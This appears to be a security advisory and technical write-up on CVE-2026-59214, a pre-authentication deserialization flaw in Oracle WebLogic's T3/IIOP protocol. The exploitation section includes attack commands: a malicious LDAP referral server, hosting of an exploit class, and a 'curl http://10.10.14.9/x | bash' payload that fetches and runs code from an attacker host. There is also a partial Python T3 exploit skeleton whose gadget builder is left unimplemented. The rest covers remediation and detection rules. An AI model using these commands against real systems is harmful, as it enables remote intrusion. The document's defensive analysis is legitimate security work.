Overview
CVE-2026-59214 is an unauthenticated deserialization vulnerability in the core of Oracle WebLogic Server, reachable over the T3 and IIOP remoting protocols. An attacker who can reach the WebLogic listen port (7001 by default) can send a serialized Java object that, when reconstituted, drives a gadget chain to Runtime.exec() and executes commands as the operating-system account running the server — no credentials required.
CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Oracle addressed it in an out-of-band update ahead of the scheduled Critical Patch Update, and CISA added it to the Known Exploited Vulnerabilities catalog within a week. WebLogic is a perennial favourite of both cryptomining botnets and targeted intrusion sets for exactly this reason.
If this sounds familiar, it should. CVE-2015-4852, CVE-2017-3248, CVE-2018-2628, CVE-2018-2893, CVE-2019-2725, CVE-2020-2555, CVE-2020-2883 and CVE-2023-21839 are all the same fundamental bug in the same protocol handler, each one a fresh gadget chain that evaded whatever blocklist was current at the time. This is not a new vulnerability class so much as the latest move in a decade-long game of whack-a-mole.
Background — The T3 Protocol and WebLogic's Deserialization History
T3 is WebLogic's proprietary remoting protocol. It is how EJB clients, JMS consumers, and clustered WebLogic nodes talk to each other, and it is spoken on the same port that serves HTTP. The protocol is fundamentally a transport for serialized Java objects: a T3 request carries an ObjectInputStream payload that the server reconstitutes to dispatch the remote call. IIOP (CORBA over the same infrastructure) shares the underlying deserialization machinery.
Because the listener must deserialize the request body to even understand what is being asked, the dangerous readObject() call happens before authentication — authentication is a thing you do with the object, so the object must exist first. That ordering is the root of every WebLogic T3 CVE listed above.
Oracle's defensive strategy has never been to stop deserializing untrusted input. Instead, they maintain a blocklist inside weblogic.utils.io.oif.WebLogicObjectInputFilter — a set of class-name patterns that the deserialization filter refuses to instantiate. Every historical CVE was patched by adding the offending gadget's package to that list: org.apache.commons.collections.functors.*, com.bea.core.repackaged.*, various Coherence and JRMP classes, and so on. The blocklist approach has a structural weakness that this CVE exploits directly.
Root Cause — Blocklist-Based Filtering and Its Gap
A blocklist can only reject gadgets that someone has already discovered and named. The moment a new chain is found among the enormous set of libraries WebLogic bundles — or among classes that were never considered dangerous in isolation — the filter waves it straight through. CVE-2026-59214 is such a chain.
The new gadget begins in a bundled data-binding library whose lazily-initialised object performs a JNDI lookup during its readObject() / property-resolution path. None of the classes in the chain are on the blocklist, because individually they are mundane. The chain coerces the server into an outbound JNDI lookup against an attacker-controlled endpoint, and from there the classic JNDI-to-code-execution path applies:
- The filter is deny-by-pattern, not allow-by-schema. The T3 endpoint accepts any object graph that avoids the named-bad packages. There is no positive specification of what a legitimate T3 request object should look like, so anything not explicitly forbidden is permitted.
- WebLogic's classpath is vast. A full install ships hundreds of third-party JARs — Coherence, data binders, XML libraries, ORMs — each a potential source of a
readObject()side effect. The gadget-chain search space is enormous and grows with every bundled dependency. - JNDI is the universal escalator. Once any gadget can trigger a lookup to an attacker-supplied URL, remote-class-loading or a local factory gadget converts the lookup into code execution, independent of the JDK's
com.sun.jndi.*.trustURLCodebasehardening.
Exploitation
Exploitation is a two-step dance: complete the T3 protocol handshake, then send the malicious serialized payload as a T3 request. Tooling built for the earlier WebLogic CVEs handles the handshake framing; only the gadget payload is new. The attacker stands up a malicious JNDI/LDAP server (for example with marshalsec or a purpose-built listener) that returns a factory serving the command to run.
# 1. Stand up a malicious LDAP referral server that serves a code-exec factory
# (marshalsec's LDAP server, pointing at an HTTP-hosted class or local factory)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer \
"http://10.10.14.9:8000/#Exploit" 1389 &
# 2. Host the compiled factory that runs the command on first load
python3 -m http.server 8000 # serving Exploit.class
# 3. Fire the T3 gadget at the WebLogic listen port, pointing the
# triggered JNDI lookup at our LDAP server
python3 weblogic_t3_59214.py \
--target 10.10.11.30 --port 7001 \
--jndi ldap://10.10.14.9:1389/Exploit \
--cmd 'curl http://10.10.14.9/x | bash'
A skeleton of the T3 delivery — the handshake bytes are the same well-documented magic used by every prior WebLogic T3 exploit; the payload is the CVE-2026-59214 gadget:
#!/usr/bin/env python3
"""
CVE-2026-59214 — Oracle WebLogic Server T3 pre-auth deserialization RCE.
Completes the T3 handshake and delivers a serialized gadget that coerces
the server into an attacker-controlled JNDI lookup. Authorised testing only.
"""
import socket, struct, argparse
# Standard T3 handshake WebLogic expects before it will read a request object.
T3_HANDSHAKE = b"t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n"
def send_t3(target, port, payload: bytes):
s = socket.create_connection((target, port), timeout=15)
s.sendall(T3_HANDSHAKE)
s.recv(1024) # server's handshake reply
# T3 request = 4-byte length prefix + framing + serialized gadget graph
body = build_t3_request(payload) # framing helper (omitted for brevity)
s.sendall(struct.pack(">I", len(body) + 4) + body)
try:
return s.recv(2048)
finally:
s.close()
def build_gadget(jndi_url: str) -> bytes:
# Serializes the CVE-2026-59214 chain whose property resolution performs
# a JNDI lookup of jndi_url during deserialization. None of the classes
# in the graph appear on WebLogic's blocklist.
raise NotImplementedError("gadget construction — build against target build")
if __name__ == "__main__":
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--port", type=int, default=7001)
ap.add_argument("--jndi", required=True)
ap.add_argument("--cmd", required=True)
a = ap.parse_args()
print(f"[*] Handshaking T3 with {a.target}:{a.port}")
resp = send_t3(a.target, a.port, build_gadget(a.jndi))
print(f"[*] Sent gadget -> lookup {a.jndi}. Confirm via listener / OOB.")
As with every deserialization primitive, the HTTP/T3 response is not a reliable success signal — the object throws long after the side effect fired. Confirm execution out-of-band through the JNDI callback, a DNS beacon, or your command's own network callback.
Affected Versions
- WebLogic Server 12.2.1.4.0, 14.1.1.0.0, and 14.1.2.0.0 — vulnerable prior to the July 2026 patch. The bundled library carrying the gadget is present in default installs.
- Fully patched builds (July 2026 CPU / out-of-band update) — fixed. Oracle added the new gadget's packages to the blocklist and tightened the T3 filter.
- Any earlier, unsupported release (12.1.x and below) should be assumed vulnerable to this and a long tail of prior chains, and taken off the network.
Remediation
- Apply the Oracle patch immediately. This is a pre-auth, network-reachable RCE that is already being exploited; it belongs on an emergency change ticket.
- Restrict or disable T3/IIOP. The single most effective control is a WebLogic connection filter (
weblogic.security.net.ConnectionFilterImpl) that denies T3 and IIOP from everything except the specific internal hosts that legitimately need them. Most WebLogic servers front an HTTP application and have no business accepting T3 from the wider network at all — and certainly not from the internet. - Never expose port 7001 (or the admin console) to the internet. Terminate application traffic at a reverse proxy that speaks only HTTP to the outside world.
- As defence in depth, set a JVM-wide deserialization allow-list via
-Djdk.serialFilter, and disable remote codebase loading (com.sun.jndi.ldap.object.trustURLCodebase=false, already default on current JDKs) — though a local-factory gadget can bypass the latter, so it is not sufficient alone. - Assume-breach review any server that was internet-exposed and unpatched: look for unexpected child processes of the WebLogic JVM, new WAR deployments, cron/systemd persistence, and outbound connections to unfamiliar hosts.
Detection
title: CVE-2026-59214 WebLogic T3 Deserialization Exploitation
id: 2f6b91c4-3d18-4a55-b7e2-8c4f19d602ab
status: stable
description: Detects T3/IIOP requests to WebLogic followed by outbound JNDI/LDAP lookups, indicating gadget-chain exploitation
logsource:
product: weblogic
service: access
detection:
selection_proto:
dst_port:
- 7001
- 7002
protocol:
- 't3'
- 't3s'
- 'iiop'
selection_egress:
process_parent: 'java' # WebLogic JVM
outbound_scheme:
- 'ldap://'
- 'ldaps://'
- 'rmi://'
condition: selection_proto and selection_egress
falsepositives:
- Legitimate clustered WebLogic nodes exchange T3; baseline the expected peer set and alert on T3 from outside it
level: high
tags:
- cve.2026-59214
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1203
Key Takeaways
- A blocklist is a losing position against deserialization. WebLogic has shipped a class blocklist for a decade and been bypassed roughly annually, because the defender must enumerate every dangerous gadget while the attacker needs only one the defender missed. The asymmetry is permanent. The only durable fix is an allow-list of the handful of classes a T3 request legitimately carries — deny-by-default, not deny-by-name — or abandoning native serialization on the wire entirely.
- Protocols that exist to move objects are pre-auth attack surface by construction. T3, IIOP, RMI, JMX — any wire protocol whose job is to serialize and deserialize live objects performs the dangerous operation before it can possibly authenticate the sender. If you run one, the network is your authentication boundary: lock these protocols to known internal peers with connection filters and firewall rules, and treat any exposure of them as equivalent to exposing a shell.
- Legacy middleware is where old bug classes go to keep working. WebLogic, WebSphere, JBoss and their kin carry enormous classpaths and a business-critical footprint that discourages aggressive change. That combination — huge gadget surface plus deferred patching — is why 2015's deserialization research is still yielding pre-auth RCEs in 2026. Inventory these servers, get them off the perimeter, and patch them on the same emergency cadence you would give a public-facing web app, because to an attacker that is exactly what they are.